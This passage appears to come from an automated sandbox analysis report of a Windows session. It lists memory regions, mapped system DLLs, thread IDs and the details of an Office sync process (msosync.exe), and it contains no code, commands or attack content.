0x9e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000009c10000" filename = "" Region: id = 953 start_va = 0x19df0000 end_va = 0x1a0effff entry_point = 0x0 region_type = private name = "private_0x0000000019df0000" filename = "" Region: id = 954 start_va = 0x775b0000 end_va = 0x775b2fff entry_point = 0x775b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 955 start_va = 0x7fefa260000 end_va = 0x7fefa2c3fff entry_point = 0x7fefa260000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 956 start_va = 0x7fefa2d0000 end_va = 0x7fefa340fff entry_point = 0x7fefa2d0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 957 start_va = 0x7fefac40000 end_va = 0x7fefac57fff entry_point = 0x7fefac40000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 958 start_va = 0x7fefac60000 end_va = 0x7fefac70fff entry_point = 0x7fefac60000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 959 start_va = 0x7fefadf0000 end_va = 0x7fefadfafff entry_point = 0x7fefadf0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 960 start_va = 0x7fefae00000 end_va = 0x7fefae26fff entry_point = 0x7fefae00000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 961 start_va = 0x7fefd200000 end_va = 0x7fefd224fff entry_point = 0x7fefd200000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 962 start_va = 0x7fefc830000 end_va = 0x7fefc839fff entry_point = 0x7fefc830000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 963 start_va = 0x7fefc280000 end_va = 0x7fefc2abfff entry_point = 0x7fefc280000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 964 start_va = 0x7fefd540000 end_va = 0x7fefd575fff entry_point = 0x7fefd540000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 965 start_va = 0x7fefd580000 end_va = 0x7fefd599fff entry_point = 0x7fefd580000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 966 start_va = 0x7fefdb10000 end_va = 0x7fefdce6fff entry_point = 0x7fefdb10000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 967 start_va = 0x7fefcbd0000 end_va = 0x7fefcc24fff entry_point = 0x7fefcbd0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 968 start_va = 0x7fefc5d0000 end_va = 0x7fefc5d6fff entry_point = 0x7fefc5d0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 969 start_va = 0x7fefcbc0000 end_va = 0x7fefcbc6fff entry_point = 0x7fefcbc0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 970 start_va = 0x7fefd990000 end_va = 0x7fefdb07fff entry_point = 0x7fefd990000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 971 start_va = 0x7fefe390000 end_va = 0x7fefe4b9fff entry_point = 0x7fefe390000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 972 start_va = 0x7fefe630000 end_va = 0x7fefe888fff entry_point = 0x7fefe630000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 973 start_va = 0x7fefb2b0000 end_va = 0x7fefb2dcfff entry_point = 0x7fefb2b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 974 start_va = 0x7fefe890000 end_va = 0x7fefe8e1fff entry_point = 0x7fefe890000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 975 start_va = 0x1d30000 end_va = 0x1d30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 976 start_va = 0x1fa0000 end_va = 0x1fa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fa0000" filename = "" Region: id = 977 start_va = 0x1fb0000 end_va = 0x1fbffff entry_point = 0x1fb0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 978 start_va = 0x1fc0000 end_va = 0x1fc7fff entry_point = 0x1fc0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 979 start_va = 0x20d0000 end_va = 0x20e3fff entry_point = 0x20d0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 980 start_va = 0x9e10000 end_va = 0xa152fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009e10000" filename = "" Region: id = 981 start_va = 0x7fefca50000 end_va = 0x7fefcaaafff entry_point = 0x7fefca50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 982 start_va = 0xa2a0000 end_va = 0xa31ffff entry_point = 0x0 region_type = private name = "private_0x000000000a2a0000" filename = "" Region: id = 983 start_va = 0x7fef4b60000 end_va = 0x7fef4b7bfff entry_point = 0x7fef4b60000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 984 start_va = 0x7fef4b80000 end_va = 0x7fef4be1fff entry_point = 0x7fef4b80000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 985 start_va = 0x7fefb300000 end_va = 0x7fefb310fff entry_point = 0x7fefb300000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 986 start_va = 0x20f0000 end_va = 0x20f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020f0000" filename = "" Region: id = 987 start_va = 0x9990000 end_va = 0x9a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000009990000" filename = "" Region: id = 988 start_va = 0x7fef7a50000 end_va = 0x7fef7a58fff entry_point = 0x7fef7a50000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 989 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 990 start_va = 0x3ba0000 end_va = 0x3baffff entry_point = 0x0 region_type = private name = "private_0x0000000003ba0000" filename = "" Region: id = 991 start_va = 0xa410000 end_va = 0xa50ffff entry_point = 0x0 region_type = private name = "private_0x000000000a410000" filename = "" Region: id = 992 start_va = 0x7fef9570000 end_va = 0x7fef9577fff entry_point = 0x7fef9570000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 993 start_va = 0x7fefaca0000 end_va = 0x7fefacf2fff entry_point = 0x7fefaca0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 994 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 995 start_va = 0xa610000 end_va = 0xa68ffff entry_point = 0x0 region_type = private name = "private_0x000000000a610000" filename = "" Region: id = 996 start_va = 0x7fefc9c0000 end_va = 0x7fefca16fff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 997 start_va = 0x2100000 end_va = 0x2101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002100000" filename = "" Region: id = 998 start_va = 0x7fefd1d0000 end_va = 0x7fefd1dafff entry_point = 0x7fefd1d0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 999 start_va = 0x7fefcdd0000 end_va = 0x7fefce1dfff entry_point = 0x7fefcdd0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1000 start_va = 0x7fefc870000 end_va = 0x7fefc8bbfff entry_point = 0x7fefc870000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1001 start_va = 0xa170000 end_va = 0xa26ffff entry_point = 0x0 region_type = private name = "private_0x000000000a170000" filename = "" Region: id = 1002 start_va = 0x7fefc6e0000 end_va = 0x7fefc6fdfff entry_point = 0x7fefc6e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1003 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1004 start_va = 0x7fefc6c0000 end_va = 0x7fefc6dafff entry_point = 0x7fefc6c0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1015 start_va = 0xa7b0000 end_va = 0xa8affff entry_point = 0x0 region_type = private name = "private_0x000000000a7b0000" filename = "" Region: id = 1016 start_va = 0x7fef6030000 end_va = 0x7fef614efff entry_point = 0x7fef6030000 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 1017 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1154 start_va = 0xa510000 end_va = 0xa60ffff entry_point = 0x0 region_type = private name = "private_0x000000000a510000" filename = "" Region: id = 1155 start_va = 0x7fefb730000 end_va = 0x7fefb764fff entry_point = 0x7fefb730000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3459 start_va = 0x7fefc280000 end_va = 0x7fefc2abfff entry_point = 0x7fefc280000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3460 start_va = 0x7fefd580000 end_va = 0x7fefd599fff entry_point = 0x7fefd580000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3461 start_va = 0x7fefdb10000 end_va = 0x7fefdce6fff entry_point = 0x7fefdb10000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3462 start_va = 0x7fef9be0000 end_va = 0x7fef9beefff entry_point = 0x7fef9be0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3463 start_va = 0x7fef9e90000 end_va = 0x7fef9f15fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3472 start_va = 0xa980000 end_va = 0xa9fffff entry_point = 0x0 region_type = private name = "private_0x000000000a980000" filename = "" Region: id = 3473 start_va = 0x7fef9900000 end_va = 0x7fef9913fff entry_point = 0x7fef9900000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3474 start_va = 0x7fef9bf0000 end_va = 0x7fef9c16fff entry_point = 0x7fef9bf0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3475 start_va = 0x7fef9c20000 end_va = 0x7fef9d01fff entry_point = 0x7fef9c20000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Thread: id = 42 os_tid = 0x140 Thread: id = 46 os_tid = 0x9c0 Thread: id = 48 os_tid = 0x9bc Thread: id = 50 os_tid = 0x57c Thread: id = 51 os_tid = 0x578 Thread: id = 52 os_tid = 0x590 Thread: id = 56 os_tid = 0x714 Thread: id = 58 os_tid = 0x9f8 Thread: id = 59 os_tid = 0x9dc Thread: id = 60 os_tid = 0xa20 Thread: id = 61 os_tid = 0xa34 Thread: id = 62 os_tid = 0xa44 Thread: id = 63 os_tid = 0xa54 Thread: id = 64 os_tid = 0xa64 Thread: id = 65 os_tid = 0xa74 Thread: id = 66 os_tid = 0xa84 Thread: id = 67 os_tid = 0x774 Thread: id = 68 os_tid = 0xa94 Thread: id = 70 os_tid = 0xad4 Thread: id = 71 os_tid = 0xae4 Thread: id = 73 os_tid = 0x4a8 Thread: id = 76 os_tid = 0x6bc Thread: id = 187 os_tid = 0x0 Thread: id = 221 os_tid = 0x7a4 Process: id = "3" image_name = "msosync.exe" filename = "c:\\program files\\microsoft office\\office16\\msosync.exe" page_root = "0x416aa000" os_pid = "0x544" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x82c" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office16\\MsoSync.exe\"" cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 574 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 575 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 576 start_va = 0x60000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 577 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 578 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 579 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 580 start_va = 0x13f8a0000 end_va = 0x13f918fff entry_point = 0x13f8a0000 region_type = mapped_file name = "msosync.exe" filename = "\\Program Files\\Microsoft Office\\Office16\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\msosync.exe") Region: id = 581 start_va = 0x7feff710000 end_va = 0x7feff710fff entry_point = 0x7feff710000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 582 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 583 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 584 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 636 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 637 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x772d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 638 start_va = 0x7fefd430000 end_va = 0x7fefd49afff entry_point = 0x7fefd430000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 639 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 640 start_va = 0x2c0000 end_va = 0x326fff entry_point = 0x2c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 641 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 642 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 643 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 644 start_va = 0x7fefa9d0000 end_va = 0x7fefa9d4fff entry_point = 0x7fefa9d0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 645 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 646 start_va = 0x7fefabf0000 end_va = 0x7fefabf3fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 647 start_va = 0x7fefb320000 end_va = 0x7fefb323fff entry_point = 0x7fefb320000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 648 start_va = 0x7fefb330000 end_va = 0x7fefb332fff entry_point = 0x7fefb330000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 649 start_va = 0x7fefb340000 end_va = 0x7fefb343fff entry_point = 0x7fefb340000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 650 start_va = 0x7fefb350000 end_va = 0x7fefb441fff entry_point = 0x7fefb350000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 651 start_va = 0x7fefb4c0000 end_va = 0x7fefb4c2fff entry_point = 0x7fefb4c0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 652 start_va = 0x7fefb5f0000 end_va = 0x7fefb5f2fff entry_point = 0x7fefb5f0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 653 start_va = 0x7fefbbd0000 end_va = 0x7fefbbd2fff entry_point = 0x7fefbbd0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 654 start_va = 0x7fefbbe0000 end_va = 0x7fefbbe2fff entry_point = 0x7fefbbe0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 655 start_va = 0x7fefbbf0000 end_va = 0x7fefbbf2fff entry_point = 0x7fefbbf0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 656 start_va = 0x7fefbe00000 end_va = 0x7fefbe02fff entry_point = 0x7fefbe00000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 657 start_va = 0x7fefbe10000 end_va = 0x7fefbe13fff entry_point = 0x7fefbe10000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 658 start_va = 0x7fefbe20000 end_va = 0x7fefbe35fff entry_point = 0x7fefbe20000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 659 start_va = 0x7fefd970000 end_va = 0x7fefd98efff entry_point = 0x7fefd970000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 660 start_va = 0x7fefdd90000 end_va = 0x7fefdd9dfff entry_point = 0x7fefdd90000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 661 start_va = 0x7fefde80000 end_va = 0x7fefdf1efff entry_point = 0x7fefde80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 662 start_va = 0x7fefe060000 end_va = 0x7fefe0c6fff entry_point = 0x7fefe060000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 663 start_va = 0x7fefe0d0000 end_va = 0x7fefe1fcfff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 664 start_va = 0x7fefe2a0000 end_va = 0x7fefe37afff entry_point = 0x7fefe2a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 665 start_va = 0x7fefe4c0000 end_va = 0x7fefe588fff entry_point = 0x7fefe4c0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 666 start_va = 0x7fefd710000 end_va = 0x7fefd912fff entry_point = 0x7fefd710000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 683 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 684 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 685 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 686 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 687 start_va = 0x330000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 688 start_va = 0x4c0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 689 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 690 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 691 start_va = 0x7f0000 end_va = 0x1beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 692 start_va = 0x7fefd230000 end_va = 0x7fefd23efff entry_point = 0x7fefd230000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 693 start_va = 0x7fefdf20000 end_va = 0x7fefe028fff entry_point = 0x7fefdf20000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 694 start_va = 0x7fefe030000 end_va = 0x7fefe05dfff entry_point = 0x7fefe030000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 695 start_va = 0x7fefbb50000 end_va = 0x7fefbba5fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 696 start_va = 0x170000 end_va = 0x171fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 697 start_va = 0x1bf0000 end_va = 0x1ccefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bf0000" filename = "" Region: id = 698 start_va = 0x1d50000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 699 start_va = 0x7fef2b90000 end_va = 0x7fef2e93fff entry_point = 0x7fef2b90000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 700 start_va = 0x7fef8930000 end_va = 0x7fef89cbfff entry_point = 0x7fef8930000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" 